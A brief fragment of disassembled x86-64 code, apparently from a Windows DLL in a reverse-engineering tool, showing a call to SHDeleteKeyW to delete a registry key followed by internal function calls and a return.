movzx ecx, word [r8 + 0xe]
mov eax, 0x80000000
lea rdx, [r8 + 0x10]
or rcx, rax
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
mov ecx, 0x901
mov word [rbx + 4], cx
xor ecx, ecx
mov r8d, 0x7530
mov word [rbx + 8], cx
mov rdx, rbx
mov rcx, rdi
mov word [rbx + 0xe], ax
call fcn.180006c30
jmp 0x180007d38
call fcn.180007d44
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret